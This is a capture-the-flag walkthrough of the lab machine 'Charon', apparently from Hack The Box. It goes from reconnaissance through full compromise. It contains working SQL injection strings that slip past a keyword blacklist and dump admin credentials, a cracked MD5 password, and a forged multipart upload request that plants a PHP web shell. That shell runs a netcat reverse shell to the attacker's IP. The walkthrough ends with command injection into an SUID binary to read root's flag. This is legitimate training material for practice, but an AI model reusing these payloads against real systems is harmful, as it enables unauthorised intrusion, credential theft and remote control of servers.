Difficulty Rating:

Machine: Charon
OS: Linux
Target IP: 10.10.10.31
Source IP: 10.10.15.8

  • Nmap
$ nmap -A -sV -Pn 10.10.10.31

Starting Nmap 7.50 ( https://nmap.org ) at 2017-08-13 22:01 IST
Nmap scan report for 10.10.10.31
Host is up (0.22s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 09:c7:fb:a2:4b:53:1a:7a:f3:30:5e:b8:6e:ec:83:ee (RSA)
|   256 97:e0:ba:96:17:d4:a1:bb:32:24:f4:e5:15:b4:8a:ec (ECDSA)
|_  256 e8:9e:0b:1c:e7:2d:b6:c9:68:46:7c:b3:32:ea:e9:ef (EdDSA)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Frozen Yogurt Shop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.70 seconds
  • Nikto
$ nikto -h http://10.10.10.31
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.31
+ Target Hostname:    10.10.10.31
+ Target Port:        80
+ Start Time:         2017-08-13 22:04:36 (GMT5.5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, fields: 0x9f2 0x552d7084393f2 
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ IP address found in the 'location' header. The IP is "127.0.1.1".
+ OSVDB-630: IIS may reveal its internal or real IP in the Location header via a request to the /images directory. The value is "http://127.0.1.1/images/".
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS 
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7500 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time:           2017-08-13 22:32:27 (GMT5.5) (1671 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
  • Dirsearch
$ python3 dirsearch.py -u http://10.10.10.31 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -e php -t 100 -r -F

 _|. _ _  _  _  _ _|_    v0.3.8
(_||| _) (/_(_|| (_| )

Extensions: php | Threads: 100 | Wordlist size: 207630

Error Log: /home/anton/dirsearch/logs/errors-17-08-14_00-02-00.log

Target: http://10.10.10.31

[00:02:00] Starting: 
[00:02:02] 200 -    2KB - /
[00:02:02] 403 -  293B  - /images
[00:02:04] 403 -  290B  - /css
[00:02:05] 403 -  289B  - /js
[00:02:06] 403 -  294B  - /include
[00:02:12] 403 -  292B  - /fonts
[00:04:54] 200 -    2KB - /
[00:05:02] 403 -  294B  - /cmsdata
[00:09:56] 403 -  299B  - /server-status

Task Completed

$ python3 dirsearch.py -u http://10.10.10.31/cmsdata -w /usr/share/wordlists/dirb/common.txt -e php -t 100 -r -f

 _|. _ _  _  _  _ _|_    v0.3.8
(_||| _) (/_(_|| (_| )

Extensions: php | Threads: 100 | Wordlist size: 9228

Error Log: /home/anton/dirsearch/logs/errors-17-08-14_00-27-39.log

Target: http://10.10.10.31/cmsdata

[00:27:40] Starting: 
[00:27:41] 403 -  298B  - /cmsdata/.hta
[00:27:41] 403 -  298B  - /cmsdata/.php
[00:27:41] 403 -  302B  - /cmsdata/.hta.php
[00:27:41] 403 -  307B  - /cmsdata/.htaccess.php
[00:27:41] 403 -  307B  - /cmsdata/.htpasswd.php
[00:27:50] 301 -  316B  - /cmsdata/css  ->  http://10.10.10.31/cmsdata/css/
[00:27:54] 200 -    6KB - /cmsdata/forgot.php
[00:27:56] 301 -  319B  - /cmsdata/images  ->  http://10.10.10.31/cmsdata/images/
[00:27:56] 301 -  320B  - /cmsdata/include  ->  http://10.10.10.31/cmsdata/include/
[00:27:58] 301 -  315B  - /cmsdata/js  ->  http://10.10.10.31/cmsdata/js/
[00:27:59] 200 -    6KB - /cmsdata/login.php
[00:28:00] 302 -    0B  - /cmsdata/menu.php  ->  login.php?err=2
[00:28:08] 301 -  320B  - /cmsdata/scripts  ->  http://10.10.10.31/cmsdata/scripts/
[00:28:13] 302 -    0B  - /cmsdata/upload.php  ->  login.php?err=2

Task Completed

  • http://10.10.10.31/cmsdata/forgot.php is vulnerable to SQL Injection
  • To check number of columns, use ORDER BY to find out number of columns in the table: Enter [email protected]' or 1=1 order by 4 limit 1;# in the email input field using Burp Suite.
  • You get some response. If you change 4 to 5, you’ll receive error. This means the table has 4 columns
  • Ideally after this, if we try [email protected]' union select 1,2,3,4;# it should give the desired output(Column names with the respective numbers), but it is not.
  • Since union is blacklisted, we can use it like this [email protected]' uniOn select 1,2,3,concat(@@hostname, "@who.ami");#

  • Following SQL injections help to find out database name and table name and column names:

  • SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema = 'Student_db' AND table_schema != 'information_schema' with output Email sent to: [email protected]=>supercms means datbase name is supercms

  • [email protected]' uniOn select column_name,table_name,3,concat(version(), "@who.ami") FROM information_schema.columns where table_schema = 'supercms' and table_name = 'operators' limit 1,1;# with output Email sent to: [email protected]=>operators means that table name is operators.

  • [email protected]' uniOn select column_name,column_name,3,concat(version(), "@who.ami") FROM information_schema.columns where table_schema = 'supercms' and table_name = 'operators' limit 2,1;# with output Email sent to: [email protected]=>__password_ means 3rd column is __password_

  • [email protected]' uniOn select column_name,column_name,3,concat(version(), "@who.ami") FROM information_schema.columns where table_schema = 'supercms' and table_name = 'operators' limit 1,1;# with output Email sent to: [email protected]=>__username_ means 2nd column is__unsername_

  • [email protected]' or 1=1 order by 3 limit 1;# with output Email sent to: [email protected]=>super_cms_adm means username is super_cms_adm

  • The following entry will get the password needed: [email protected]' uniOn select __username_,__password_,3,concat(version(), "@who.ami") from operators where __username_ = 'super_cms_adm';# with output Email sent to: [email protected]=>0b0689ba94f94533400f4decd87fa260 gives us the password hash 0b0689ba94f94533400f4decd87fa260

  • But the password is in hashed form.
  • After checking the hash value using hash-identifier tool, we understand it’s an MD5 hash.
  • Visit https://hashkiller.co.uk/md5-decrypter.aspx and get the value of the hash.
  • The value of the hash is tamarro
  • Visit http://10.10.10.31/cmsdata/login.php and enter Username:super_cms_adm and Password:tamarro

SQL injection cheatsheet

  • Visit http://10.10.10.31/cmsdata/upload.php
  • There’s a hidden input field with name in base64 encoded value. The decoded value is testfile1
  • Change the form to:
<form action="upload.php" method="POST" name="frm" enctype="multipart/form-data">
<input type="file" name="image" />
<input type=hidden name="testfile1" value="file.php">
<input type="submit"/>
</form>
  • Upload a jpg file and then intercept the POST request using Burp Suite
  • Remove the data and add:
GIF89a;
<payload>
  • The request should look silimlar to this:
POST /cmsdata/upload.php HTTP/1.1
Host: 10.10.10.31
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: multipart/form-data; boundary=---------------------------14788426241120637371272856930
Content-Length: 475
Referer: http://10.10.10.31/cmsdata/upload.php
Cookie: PHPSESSID=jkoq5rm8amsn47oqd4vu671id4
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------14788426241120637371272856930
Content-Disposition: form-data; name="image"; filename="file.jpg"
Content-Type: image/jpeg

GIF89a;
<?php system('mknod /tmp/backpipe p; /bin/sh 0< /tmp/backpipe | nc 10.10.15.8 4444 1> /tmp/backpipe; rm /tmp/backpipe'); ?>

-----------------------------14788426241120637371272856930
Content-Disposition: form-data; name="testfile1"

file.php
-----------------------------14788426241120637371272856930--
  • Send the request. file.php will be created in http://10.10.10.31/images/
  • Listen using nc and execute file.php.
  • You should get shell.
  • You will see 2 files in /home/decoder namely ‘decoder.pub and pass.crypt`
  • Decrypt it using RsaCtfTool
    $ python2.7 RsaCtfTool.py --publickey ../test.pub --uncipher ../test.crypt
    [+] Clear text : ��1��6�nevermindthebollocks
    
  • Password is nevermindthebollocks
  • SSH decoder with the above password

    User Owned!

  • Let’s find SUID files: $ find / -perm 4000 -user root -exec ls -ls {} \; 2> /dev/null
  • You will find an SUID with the name supershell in /usr/local/bin/
[email protected]:/usr/local/bin$ supershell "/bin/ls$/
> cat /root/root.txt"
Supershell (very beta)
++[/bin/ls$/
cat /root/root.txt]
sh: 1: /bin/ls$/: not found
XXXXXXX
User and Root owned!!
Note: RsaCtfTool has 2 dependencies, out of which one is resolved using pip and other(libnum) needs to be downloaded from github

Share the fun!